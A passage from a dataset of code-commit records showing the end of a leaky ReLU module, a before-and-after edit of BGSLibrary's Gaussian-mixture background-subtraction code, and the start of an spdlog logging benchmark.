module.m_leak;\n\t\treturn *this;\n\t}\n\t\n\t\/\/\/ Save to a serialized node.\n\tvirtual void save(Serialized &node) const override\n\t{\n\t\tMap<T>::save(node);\n\t\tnode.set(\"leak\", m_leak);\n\t}\n\t\n\t\/\/\/ Get the \"leak\" for this ReLU. 0 if non-leaky.\n\tT leak() const\n\t{\n\t\treturn m_leak;\n\t}\n\t\n\t\/\/\/ Set the \"leak\" for this ReLU. 0 <= leak < 1.\n\tReLU &leak(T leak)\n\t{\n\t\tNNAssertGreaterThanOrEquals(leak, 0, \"Expected positive leak!\");\n\t\tNNAssertLessThan(leak, 1, \"Expected leak to be a percentage!\");\n\t\tm_leak = leak;\n\t\treturn *this;\n\t}\n\t\n\t\/\/\/ Single element forward.\n\tvirtual T forwardOne(const T &x) override\n\t{\n\t\treturn x > 0 ? x : m_leak * x;\n\t}\n\t\n\t\/\/\/ Single element backward.\n\tvirtual T backwardOne(const T &x, const T &y) override\n\t{\n\t\treturn x > 0 ? 1 : m_leak;\n\t}\n\t\nprivate:\n\tT m_leak;\n};\n\n}\n\nNNRegisterType(ReLU, Module);\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/*\nThis file is part of BGSLibrary.\n\nBGSLibrary is free software: you can redistribute it and\/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\n(at your option) any later version.\n\nBGSLibrary is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with BGSLibrary. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\/****************************************************************************\n*\n* GrimsonGMM.cpp\n*\n* Purpose: Implementation of the Gaussian mixture model (GMM) background \n*\t\t \t\t subtraction described in:\n*\t \t\t\t \"Adaptive background mixture models for real-time tracking\"\n* \t\t\t\t\t\tby Chris Stauffer and W.E.L Grimson\n*\n* Author: Donovan Parks, September 2007\n*\n* This code is based on code by Z. Zivkovic's written for his enhanced GMM\n* background subtraction algorithm: \n*\n*\t\"Improved adaptive Gausian mixture model for background subtraction\"\n*\t\tZ.Zivkovic \n*\t\tInternational Conference Pattern Recognition, UK, August, 2004\n*\n*\n* \"Efficient Adaptive Density Estimapion per Image Pixel for the \n*\t\t\tTask of Background Subtraction\"\n*\t\tZ.Zivkovic, F. van der Heijden \n*\t\tPattern Recognition Letters, vol. 27, no. 7, pages 773-780, 2006.\n*\n* Zivkovic's code can be obtained at: www.zoranz.net\n******************************************************************************\/\n\n#include \"GrimsonGMM.h\"\n\nusing namespace Algorithms::BackgroundSubtraction;\n\nint compareGMM(const void* _gmm1, const void* _gmm2)\n{\n\tGMM gmm1 = *(GMM*)_gmm1;\n\tGMM gmm2 = *(GMM*)_gmm2;\n\n\tif(gmm1.significants < gmm2.significants)\n\t\treturn 1;\n\telse if(gmm1.significants == gmm2.significants)\n\t\treturn 0;\n\telse\n\t\treturn -1;\n}\n\nGrimsonGMM::GrimsonGMM()\n{\n\tm_modes = NULL;\n}\n\nGrimsonGMM::~GrimsonGMM()\n{\n\tif(m_modes != NULL) \n\t\tdelete[] m_modes;\n}\n\nvoid GrimsonGMM::Initalize(const BgsParams& param)\n{\n\tm_params = (GrimsonParams&)param;\n\n\t\/\/ Tbf - the threshold\n\tm_bg_threshold = 0.75f;\t\/\/ 1-cf from the paper \n\n\t\/\/ Tgenerate - the threshold\n\tm_variance = 36.0f;\t\t\/\/ sigma for the new mode\n\n\t\/\/ GMM for each pixel\n\tm_modes = new GMM[m_params.Size()*m_params.MaxModes()];\n\n\t\/\/ used modes per pixel\n\tm_modes_per_pixel = cvCreateImage(cvSize(m_params.Width(), m_params.Height()), IPL_DEPTH_8U, 1);\n\n\tm_background = cvCreateImage(cvSize(m_params.Width(), m_params.Height()), IPL_DEPTH_8U, 3);\n}\n\nRgbImage* GrimsonGMM::Background()\n{\n\treturn &m_background;\n}\n\nvoid GrimsonGMM::InitModel(const RgbImage& data)\n{\n\tm_modes_per_pixel.Clear();\n\n\tfor(unsigned int i = 0; i < m_params.Size()*m_params.MaxModes(); ++i)\n\t{\n\t\tm_modes[i].weight = 0;\n\t\tm_modes[i].variance = 0;\n\t\tm_modes[i].muR = 0;\n\t\tm_modes[i].muG = 0;\n\t\tm_modes[i].muB = 0;\n\t\tm_modes[i].significants = 0;\n\t}\n}\n\nvoid GrimsonGMM::Update(int frame_num, const RgbImage& data, const BwImage& update_mask)\n{\n\t\/\/ it doesn't make sense to have conditional updates in the GMM framework\n}\n\nvoid GrimsonGMM::SubtractPixel(long posPixel, const RgbPixel& pixel, unsigned char& numModes, \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tunsigned char& low_threshold, unsigned char& high_threshold)\n{\n\t\/\/ calculate distances to the modes (+ sort???)\n\t\/\/ here we need to go in descending order!!!\n\tlong pos;\n\tbool bFitsPDF=false;\n\tbool bBackgroundLow=false;\n\tbool bBackgroundHigh=false;\n\n\tfloat fOneMinAlpha = 1-m_params.Alpha();\n\n\tfloat totalWeight = 0.0f;\n\n\t\/\/ calculate number of Gaussians to include in the background model\n\tint backgroundGaussians = 0;\n\tdouble sum = 0.0;\n\tfor(int i = 0; i < numModes; ++i)\n\t{\n\t\tif(sum < m_bg_threshold)\n\t\t{\n\t\t\tbackgroundGaussians++;\n\t\t\tsum += m_modes[posPixel+i].weight;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tbreak;\n\t\t}\n\t}\n\n\t\/\/ update all distributions and check for match with current pixel\n\tfor (int iModes=0; iModes < numModes; iModes++)\n\t{\n\t\tpos=posPixel+iModes;\n\t\tfloat weight = m_modes[pos].weight;\n\n\t\t\/\/ fit not found yet\n\t\tif (!bFitsPDF)\n\t\t{\n\t\t\t\/\/check if it belongs to some of the modes\n\t\t\t\/\/calculate distance\n\t\t\tfloat var = m_modes[pos].variance;\n\t\t\tfloat muR = m_modes[pos].muR;\n\t\t\tfloat muG = m_modes[pos].muG;\n\t\t\tfloat muB = m_modes[pos].muB;\n\t\t\n\t\t\tfloat dR=muR - pixel(0);\n\t\t\tfloat dG=muG - pixel(1);\n\t\t\tfloat dB=muB - pixel(2);\n\n\t\t\t\/\/ calculate the squared distance\n\t\t\tfloat dist = (dR*dR + dG*dG + dB*dB);\n\n\t\t\tif(dist < m_params.HighThreshold()*var && iModes < backgroundGaussians)\n\t\t\t\tbBackgroundHigh = true;\n\t\t\t\n\t\t\t\/\/ a match occurs when the pixel is within sqrt(fTg) standard deviations of the distribution\n\t\t\tif(dist < m_params.LowThreshold()*var)\n\t\t\t{\n\t\t\t\tbFitsPDF=true;\n\n\t\t\t\t\/\/ check if this Gaussian is part of the background model\n\t\t\t\tif(iModes < backgroundGaussians) \n\t\t\t\t\tbBackgroundLow = true;\n\n\t\t\t\t\/\/update distribution\n\t\t\t\tfloat k = m_params.Alpha()\/weight;\n\t\t\t\tweight = fOneMinAlpha*weight + m_params.Alpha();\n\t\t\t\tm_modes[pos].weight = weight;\n\t\t\t\tm_modes[pos].muR = muR - k*(dR);\n\t\t\t\tm_modes[pos].muG = muG - k*(dG);\n\t\t\t\tm_modes[pos].muB = muB - k*(dB);\n\n\t\t\t\t\/\/limit the variance\n\t\t\t\tfloat sigmanew = var + k*(dist-var);\n\t\t\t\tm_modes[pos].variance = sigmanew < 4 ? 4 : sigmanew > 5*m_variance ? 5*m_variance : sigmanew;\n\t\t\t\tm_modes[pos].significants = m_modes[pos].weight \/ sqrt(m_modes[pos].variance);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tweight = fOneMinAlpha*weight;\n\t\t\t\tif (weight < 0.0)\n\t\t\t\t{\n\t\t\t\t\tweight=0.0;\n\t\t\t\t\tnumModes--;\n\t\t\t\t}\n\n\t\t\t\tm_modes[pos].weight = weight;\n\t\t\t\tm_modes[pos].significants = m_modes[pos].weight \/ sqrt(m_modes[pos].variance);\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\tweight = fOneMinAlpha*weight;\n\t\t\tif (weight < 0.0)\n\t\t\t{\n\t\t\t\tweight=0.0;\n\t\t\t\tnumModes--;\n\t\t\t}\n\t\t\tm_modes[pos].weight = weight;\n\t\t\tm_modes[pos].significants = m_modes[pos].weight \/ sqrt(m_modes[pos].variance);\n\t\t}\n\n\t\ttotalWeight += weight;\n\t}\n\n\t\/\/ renormalize weights so they add to one\n\tdouble invTotalWeight = 1.0 \/ totalWeight;\n\tfor (int iLocal = 0; iLocal < numModes; iLocal++)\n\t{\n\t\tm_modes[posPixel + iLocal].weight *= (float)invTotalWeight;\n\t\tm_modes[posPixel + iLocal].significants = m_modes[posPixel + iLocal].weight \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/ sqrt(m_modes[posPixel + iLocal].variance);\n\t}\n\n\t\/\/ Sort significance values so they are in desending order. \n\tqsort(&m_modes[posPixel], numModes, sizeof(GMM), compareGMM);\n\n\t\/\/ make new mode if needed and exit\n\tif (!bFitsPDF)\n\t{\n\t\tif (numModes < m_params.MaxModes())\n\t\t{\n\t\t\tnumModes++;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t\/\/ the weakest mode will be replaced\n\t\t}\n\n\t\tpos = posPixel + numModes-1;\n\t\t\n\t\tm_modes[pos].muR = pixel.ch[0];\n\t\tm_modes[pos].muG = pixel.ch[1];\n\t\tm_modes[pos].muB = pixel.ch[2];\n\t\tm_modes[pos].variance = m_variance;\n\t\tm_modes[pos].significants = 0;\t\t\t\/\/ will be set below\n\n if (numModes==1)\n\t\t\tm_modes[pos].weight = 1;\n\t\telse\n\t\t\tm_modes[pos].weight = m_params.Alpha();\n\n\t\t\/\/renormalize weights\n\t\tint iLocal;\n\t\tfloat sum = 0.0;\n\t\tfor (iLocal = 0; iLocal < numModes; iLocal++)\n\t\t{\n\t\t\tsum += m_modes[posPixel+ iLocal].weight;\n\t\t}\n\n\t\tdouble invSum = 1.0\/sum;\n\t\tfor (iLocal = 0; iLocal < numModes; iLocal++)\n\t\t{\n\t\t\tm_modes[posPixel + iLocal].weight *= (float)invSum;\n\t\t\tm_modes[posPixel + iLocal].significants = m_modes[posPixel + iLocal].weight \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/ sqrt(m_modes[posPixel + iLocal].variance);\n\n\t\t}\n\t}\n\n\t\/\/ Sort significance values so they are in desending order. \n\tqsort(&(m_modes[posPixel]), numModes, sizeof(GMM), compareGMM);\n\n\tif(bBackgroundLow)\n\t{\n\t\tlow_threshold = BACKGROUND;\n\t}\n\telse\n\t{\n\t\tlow_threshold = FOREGROUND;\n\t}\n\n\tif(bBackgroundHigh)\n\t{\n\t\thigh_threshold = BACKGROUND;\n\t}\n\telse\n\t{\n\t\thigh_threshold = FOREGROUND;\n\t}\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/Input:\n\/\/ data - a pointer to the data of a RGB image of the same size\n\/\/Output:\n\/\/ output - a pointer to the data of a gray value image of the same size \n\/\/\t\t\t\t\t(the memory should already be reserved) \n\/\/\t\t\t\t\tvalues: 255-foreground, 125-shadow, 0-background\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid GrimsonGMM::Subtract(int frame_num, const RgbImage& data, \n\t\t\t\t\t\t\t\t\t\t\t\t\t\tBwImage& low_threshold_mask, BwImage& high_threshold_mask)\n{\n\tunsigned char low_threshold, high_threshold;\n\tlong posPixel;\n\n\t\/\/ update each pixel of the image\n\tfor(unsigned int r = 0; r < m_params.Height(); ++r)\n\t{\n\t\tfor(unsigned int c = 0; c < m_params.Width(); ++c)\n\t\t{\t\t\n\t\t\t\/\/ update model + background subtract\n\t\t\tposPixel=(r*m_params.Width()+c)*m_params.MaxModes();\n\t\t\t\n\t\t\tSubtractPixel(posPixel, data(r,c), m_modes_per_pixel(r,c), low_threshold, high_threshold);\n\t\t\t\n\t\t\tlow_threshold_mask(r,c) = low_threshold;\n\t\t\thigh_threshold_mask(r,c) = high_threshold;\n\n\t\t\tm_background(r,c,0) = (unsigned char)m_modes[posPixel].muR;\n\t\t\tm_background(r,c,1) = (unsigned char)m_modes[posPixel].muG;\n\t\t\tm_background(r,c,2) = (unsigned char)m_modes[posPixel].muB;\n\t\t}\n\t}\n}\n\n<commit_msg>Update GrimsonGMM.cpp<commit_after>\/*\nThis file is part of BGSLibrary.\n\nBGSLibrary is free software: you can redistribute it and\/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\n(at your option) any later version.\n\nBGSLibrary is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with BGSLibrary. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\/****************************************************************************\n*\n* GrimsonGMM.cpp\n*\n* Purpose: Implementation of the Gaussian mixture model (GMM) background \n*\t\t \t\t subtraction described in:\n*\t \t\t\t \"Adaptive background mixture models for real-time tracking\"\n* \t\t\t\t\t\tby Chris Stauffer and W.E.L Grimson\n*\n* Author: Donovan Parks, September 2007\n*\n* This code is based on code by Z. Zivkovic's written for his enhanced GMM\n* background subtraction algorithm: \n*\n*\t\"Improved adaptive Gausian mixture model for background subtraction\"\n*\t\tZ.Zivkovic \n*\t\tInternational Conference Pattern Recognition, UK, August, 2004\n*\n*\n* \"Efficient Adaptive Density Estimapion per Image Pixel for the \n*\t\t\tTask of Background Subtraction\"\n*\t\tZ.Zivkovic, F. van der Heijden \n*\t\tPattern Recognition Letters, vol. 27, no. 7, pages 773-780, 2006.\n*\n* Zivkovic's code can be obtained at: www.zoranz.net\n******************************************************************************\/\n\n#include \"GrimsonGMM.h\"\n\nusing namespace Algorithms::BackgroundSubtraction;\n\nint compareGMM(const void* _gmm1, const void* _gmm2)\n{\n\tGMM gmm1 = *(GMM*)_gmm1;\n\tGMM gmm2 = *(GMM*)_gmm2;\n\n\tif(gmm1.significants < gmm2.significants)\n\t\treturn 1;\n\telse if(gmm1.significants == gmm2.significants)\n\t\treturn 0;\n\telse\n\t\treturn -1;\n}\n\nGrimsonGMM::GrimsonGMM()\n{\n\tm_modes = NULL;\n}\n\nGrimsonGMM::~GrimsonGMM()\n{\n\tdelete[] m_modes;\n}\n\nvoid GrimsonGMM::Initalize(const BgsParams& param)\n{\n\tm_params = (GrimsonParams&)param;\n\n\t\/\/ Tbf - the threshold\n\tm_bg_threshold = 0.75f;\t\/\/ 1-cf from the paper \n\n\t\/\/ Tgenerate - the threshold\n\tm_variance = 36.0f;\t\t\/\/ sigma for the new mode\n\n\t\/\/ GMM for each pixel\n\tm_modes = new GMM[m_params.Size()*m_params.MaxModes()];\n\n\t\/\/ used modes per pixel\n\tm_modes_per_pixel = cvCreateImage(cvSize(m_params.Width(), m_params.Height()), IPL_DEPTH_8U, 1);\n\n\tm_background = cvCreateImage(cvSize(m_params.Width(), m_params.Height()), IPL_DEPTH_8U, 3);\n}\n\nRgbImage* GrimsonGMM::Background()\n{\n\treturn &m_background;\n}\n\nvoid GrimsonGMM::InitModel(const RgbImage& data)\n{\n\tm_modes_per_pixel.Clear();\n\n\tfor(unsigned int i = 0; i < m_params.Size()*m_params.MaxModes(); ++i)\n\t{\n\t\tm_modes[i].weight = 0;\n\t\tm_modes[i].variance = 0;\n\t\tm_modes[i].muR = 0;\n\t\tm_modes[i].muG = 0;\n\t\tm_modes[i].muB = 0;\n\t\tm_modes[i].significants = 0;\n\t}\n}\n\nvoid GrimsonGMM::Update(int frame_num, const RgbImage& data, const BwImage& update_mask)\n{\n\t\/\/ it doesn't make sense to have conditional updates in the GMM framework\n}\n\nvoid GrimsonGMM::SubtractPixel(long posPixel, const RgbPixel& pixel, unsigned char& numModes, \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tunsigned char& low_threshold, unsigned char& high_threshold)\n{\n\t\/\/ calculate distances to the modes (+ sort???)\n\t\/\/ here we need to go in descending order!!!\n\tlong pos;\n\tbool bFitsPDF=false;\n\tbool bBackgroundLow=false;\n\tbool bBackgroundHigh=false;\n\n\tfloat fOneMinAlpha = 1-m_params.Alpha();\n\n\tfloat totalWeight = 0.0f;\n\n\t\/\/ calculate number of Gaussians to include in the background model\n\tint backgroundGaussians = 0;\n\tdouble sum = 0.0;\n\tfor(int i = 0; i < numModes; ++i)\n\t{\n\t\tif(sum < m_bg_threshold)\n\t\t{\n\t\t\tbackgroundGaussians++;\n\t\t\tsum += m_modes[posPixel+i].weight;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tbreak;\n\t\t}\n\t}\n\n\t\/\/ update all distributions and check for match with current pixel\n\tfor (int iModes=0; iModes < numModes; iModes++)\n\t{\n\t\tpos=posPixel+iModes;\n\t\tfloat weight = m_modes[pos].weight;\n\n\t\t\/\/ fit not found yet\n\t\tif (!bFitsPDF)\n\t\t{\n\t\t\t\/\/check if it belongs to some of the modes\n\t\t\t\/\/calculate distance\n\t\t\tfloat var = m_modes[pos].variance;\n\t\t\tfloat muR = m_modes[pos].muR;\n\t\t\tfloat muG = m_modes[pos].muG;\n\t\t\tfloat muB = m_modes[pos].muB;\n\t\t\n\t\t\tfloat dR=muR - pixel(0);\n\t\t\tfloat dG=muG - pixel(1);\n\t\t\tfloat dB=muB - pixel(2);\n\n\t\t\t\/\/ calculate the squared distance\n\t\t\tfloat dist = (dR*dR + dG*dG + dB*dB);\n\n\t\t\tif(dist < m_params.HighThreshold()*var && iModes < backgroundGaussians)\n\t\t\t\tbBackgroundHigh = true;\n\t\t\t\n\t\t\t\/\/ a match occurs when the pixel is within sqrt(fTg) standard deviations of the distribution\n\t\t\tif(dist < m_params.LowThreshold()*var)\n\t\t\t{\n\t\t\t\tbFitsPDF=true;\n\n\t\t\t\t\/\/ check if this Gaussian is part of the background model\n\t\t\t\tif(iModes < backgroundGaussians) \n\t\t\t\t\tbBackgroundLow = true;\n\n\t\t\t\t\/\/update distribution\n\t\t\t\tfloat k = m_params.Alpha()\/weight;\n\t\t\t\tweight = fOneMinAlpha*weight + m_params.Alpha();\n\t\t\t\tm_modes[pos].weight = weight;\n\t\t\t\tm_modes[pos].muR = muR - k*(dR);\n\t\t\t\tm_modes[pos].muG = muG - k*(dG);\n\t\t\t\tm_modes[pos].muB = muB - k*(dB);\n\n\t\t\t\t\/\/limit the variance\n\t\t\t\tfloat sigmanew = var + k*(dist-var);\n\t\t\t\tm_modes[pos].variance = sigmanew < 4 ? 4 : sigmanew > 5*m_variance ? 5*m_variance : sigmanew;\n\t\t\t\tm_modes[pos].significants = m_modes[pos].weight \/ sqrt(m_modes[pos].variance);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tweight = fOneMinAlpha*weight;\n\t\t\t\tif (weight < 0.0)\n\t\t\t\t{\n\t\t\t\t\tweight=0.0;\n\t\t\t\t\tnumModes--;\n\t\t\t\t}\n\n\t\t\t\tm_modes[pos].weight = weight;\n\t\t\t\tm_modes[pos].significants = m_modes[pos].weight \/ sqrt(m_modes[pos].variance);\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\tweight = fOneMinAlpha*weight;\n\t\t\tif (weight < 0.0)\n\t\t\t{\n\t\t\t\tweight=0.0;\n\t\t\t\tnumModes--;\n\t\t\t}\n\t\t\tm_modes[pos].weight = weight;\n\t\t\tm_modes[pos].significants = m_modes[pos].weight \/ sqrt(m_modes[pos].variance);\n\t\t}\n\n\t\ttotalWeight += weight;\n\t}\n\n\t\/\/ renormalize weights so they add to one\n\tdouble invTotalWeight = 1.0 \/ totalWeight;\n\tfor (int iLocal = 0; iLocal < numModes; iLocal++)\n\t{\n\t\tm_modes[posPixel + iLocal].weight *= (float)invTotalWeight;\n\t\tm_modes[posPixel + iLocal].significants = m_modes[posPixel + iLocal].weight \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/ sqrt(m_modes[posPixel + iLocal].variance);\n\t}\n\n\t\/\/ Sort significance values so they are in desending order. \n\tqsort(&m_modes[posPixel], numModes, sizeof(GMM), compareGMM);\n\n\t\/\/ make new mode if needed and exit\n\tif (!bFitsPDF)\n\t{\n\t\tif (numModes < m_params.MaxModes())\n\t\t{\n\t\t\tnumModes++;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t\/\/ the weakest mode will be replaced\n\t\t}\n\n\t\tpos = posPixel + numModes-1;\n\t\t\n\t\tm_modes[pos].muR = pixel.ch[0];\n\t\tm_modes[pos].muG = pixel.ch[1];\n\t\tm_modes[pos].muB = pixel.ch[2];\n\t\tm_modes[pos].variance = m_variance;\n\t\tm_modes[pos].significants = 0;\t\t\t\/\/ will be set below\n\n if (numModes==1)\n\t\t\tm_modes[pos].weight = 1;\n\t\telse\n\t\t\tm_modes[pos].weight = m_params.Alpha();\n\n\t\t\/\/renormalize weights\n\t\tint iLocal;\n\t\tfloat sum = 0.0;\n\t\tfor (iLocal = 0; iLocal < numModes; iLocal++)\n\t\t{\n\t\t\tsum += m_modes[posPixel+ iLocal].weight;\n\t\t}\n\n\t\tdouble invSum = 1.0\/sum;\n\t\tfor (iLocal = 0; iLocal < numModes; iLocal++)\n\t\t{\n\t\t\tm_modes[posPixel + iLocal].weight *= (float)invSum;\n\t\t\tm_modes[posPixel + iLocal].significants = m_modes[posPixel + iLocal].weight \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/ sqrt(m_modes[posPixel + iLocal].variance);\n\n\t\t}\n\t}\n\n\t\/\/ Sort significance values so they are in desending order. \n\tqsort(&(m_modes[posPixel]), numModes, sizeof(GMM), compareGMM);\n\n\tif(bBackgroundLow)\n\t{\n\t\tlow_threshold = BACKGROUND;\n\t}\n\telse\n\t{\n\t\tlow_threshold = FOREGROUND;\n\t}\n\n\tif(bBackgroundHigh)\n\t{\n\t\thigh_threshold = BACKGROUND;\n\t}\n\telse\n\t{\n\t\thigh_threshold = FOREGROUND;\n\t}\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/Input:\n\/\/ data - a pointer to the data of a RGB image of the same size\n\/\/Output:\n\/\/ output - a pointer to the data of a gray value image of the same size \n\/\/\t\t\t\t\t(the memory should already be reserved) \n\/\/\t\t\t\t\tvalues: 255-foreground, 125-shadow, 0-background\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid GrimsonGMM::Subtract(int frame_num, const RgbImage& data, \n\t\t\t\t\t\t\t\t\t\t\t\t\t\tBwImage& low_threshold_mask, BwImage& high_threshold_mask)\n{\n\tunsigned char low_threshold, high_threshold;\n\tlong posPixel;\n\n\t\/\/ update each pixel of the image\n\tfor(unsigned int r = 0; r < m_params.Height(); ++r)\n\t{\n\t\tfor(unsigned int c = 0; c < m_params.Width(); ++c)\n\t\t{\t\t\n\t\t\t\/\/ update model + background subtract\n\t\t\tposPixel=(r*m_params.Width()+c)*m_params.MaxModes();\n\t\t\t\n\t\t\tSubtractPixel(posPixel, data(r,c), m_modes_per_pixel(r,c), low_threshold, high_threshold);\n\t\t\t\n\t\t\tlow_threshold_mask(r,c) = low_threshold;\n\t\t\thigh_threshold_mask(r,c) = high_threshold;\n\n\t\t\tm_background(r,c,0) = (unsigned char)m_modes[posPixel].muR;\n\t\t\tm_background(r,c,1) = (unsigned char)m_modes[posPixel].muG;\n\t\t\tm_background(r,c,2) = (unsigned char)m_modes[posPixel].muB;\n\t\t}\n\t}\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ Copyright(c) 2015 Gabi Melman.\n\/\/ Distributed under the MIT License (http:\/\/opensource.org\/licenses\/MIT)\n\/\/\n\n\/\/\n\/\/ bench.cpp : spdlog benchmarks\n\/\/\n#include \"spdlog\/async.h\"\n#include \"spdlog\/sinks\/basic_file_sink.h\"\n#include \"spdlog\/sinks\/daily_file_sink.h\"\n#include \"spdlog\/sinks\/null_sink.h\"\n#include \"spdlog\/sinks\/rotating_file_sink.h\"\n#include \"spdlog\/spdlog.h\"\n#include \"utils.h\"\n#include <atomic>\n#include <cstdlib> \/\/ EXIT_FAILURE\n#include <iostream>\n#include <memory>\n#include <string>\n#include <thread>\n\nusing namespace std;\nusing namespace std::chrono;\nusing namespace spdlog;\nusing namespace spdlog::sinks;\nusing namespace utils;\n\nvoid bench(int howmany, std::shared_ptr<spdlog::logger> log);\nvoid bench_mt(int howmany, std::shared_ptr<spdlog::logger> log, int thread_count);\n\nint main(int argc, char *argv[])\n{\n\n int queue_size = 1000000;\n int howmany = 1000000;\n int threads = 10;\n int file_size = 30 * 1024 * 1024;\n int rotating_files = 5;\n\n try\n {\n\n if (argc > 1)\n howmany = atoi(argv[1]);\n if (argc > 2)\n threads = atoi(argv[2]);\n if (argc > 3)\n queue_size = atoi(argv[3]);\n\n cout << \"*******************************************************************************\\n\";\n cout << \"Single thread, \" << format(howmany) << \" iterations\" << endl;\n cout << \"*******************************************************************************\\n\";\n\n auto basic_st = spdlog::basic_logger_mt(\"basic_st\", \"logs\/basic_st.log\", true);\n bench(howmany, basic_st);\n\n auto rotating_st = spdlog::rotating_logger_st(\"rotating_st\", \"logs\/rotating_st.log\", file_size, rotating_files);\n bench(howmany, rotating_st);\n\n auto daily_st = spdlog::daily_logger_st(\"daily_st\", \"logs\/daily_st.log\");\n bench(howmany, daily_st);\n\n bench(howmany, spdlog::create<null_sink_st>(\"null_st\"));\n\n cout << \"\\n*******************************************************************************\\n\";\n cout << threads << \" threads sharing same logger, \" << format(howmany) << \" iterations\" << endl;\n cout << \"*******************************************************************************\\n\";\n\n auto basic_mt = spdlog::basic_logger_mt(\"basic_mt\", \"logs\/basic_mt.log\", true);\n bench_mt(howmany, basic_mt, threads);\n\n auto rotating_mt = spdlog::rotating_logger_mt(\"rotating_mt\", \"logs\/rotating_mt.log\", file_size, rotating_files);\n bench_mt(howmany, rotating_mt, threads);\n\n auto daily_mt = spdlog::daily_logger_mt(\"daily_mt\", \"logs\/daily_mt.log\");\n bench_mt(howmany, daily_mt, threads);\n bench(howmany, spdlog::create<null_sink_st>(\"null_mt\"));\n\n cout << \"\\n*******************************************************************************\\n\";\n cout << \"async logging.. \" << threads << \" threads sharing same logger, \" << format(howmany) << \" iterations \" << endl;\n cout << \"*******************************************************************************\\n\";\n\n for (int i = 0; i < 3; ++i)\n {\n spdlog::init_thread_pool(queue_size, 1);\n auto as = spdlog::basic_logger_mt<spdlog::async_factory>(\"async\", \"logs\/basic_async.log\", true);\n bench_mt(howmany, as, threads);\n spdlog::drop(\"async\");\n }\n }\n catch (std::exception &ex)\n {\n std::cerr << \"Error: \" << ex.what() << std::endl;\n perror(\"Last error\");\n return EXIT_FAILURE;\n }\n return EXIT_SUCCESS;\n}\n\nvoid bench(int howmany, std::shared_ptr<spdlog::logger> log)\n{\n using std::chrono::high_resolution_clock;\n cout << log->name() << \"...\\t\\t\" << flush;\n auto start = high_resolution_clock::now();\n for (auto i = 0; i < howmany; ++i)\n {\n log->info(\"Hello logger: msg number {}\", i);\n }\n\n auto delta = high_resolution_clock::now() - start;\n auto delta_d = duration_cast<duration<double>>(delta).count();\n cout << \"Elapsed: \" << delta_d << \"\\t\" << format(int(howmany \/ delta_d)) << \"\/sec\" << endl;\n}\n\nvoid bench_mt(int howmany, std::shared_ptr<spdlog::logger> log, int thread_count)\n{\n using std::chrono::high_resolution_clock;\n cout << log->name() << \"...\\t\\t\" << flush;\n vector<thread> threads;\n auto start = high_resolution_clock::now();\n for (int t = 0; t < thread_count; ++t)\n {\n threads.push_back(std::thread([&]() {\n for (int j = 0; j < howmany \/ thread_count; j++)\n {\n log->info(\"Hello logger: msg number {}\", j);\n }\n }));\n }\n\n for (auto &t : threads)\n {\n t.join();\n };\n\n auto delta = high_resolution_clock::now() - start;\n auto delta_d = duration_cast<duration<double>>(delta).count();\n cout << \"Elapsed: \" << delta_d << \"\\t\" << format(int(howmany \/ delta_d)) << \"\/sec\" << endl;\n}\n<commit_msg>bench fix<commit_after>\/\/\n\/\/ Copyright(c) 2015 Gabi Melman.\n\/\/ Distributed under the MIT License (http:\/\/opensource.org\/licenses\/MIT)\n\/\/\n\n\/\/\n\/\/ bench.cpp : spdlog benchmarks\n\/\/\n#include \"spdlog\/async.h\"\n#include \"spdlog\/sinks\/basic_file_sink.h\"\n#include \"spdlog\/sinks\/daily_file_sink.h\"\n#include \"spdlog\/sinks\/null_sink.h\"\n#include 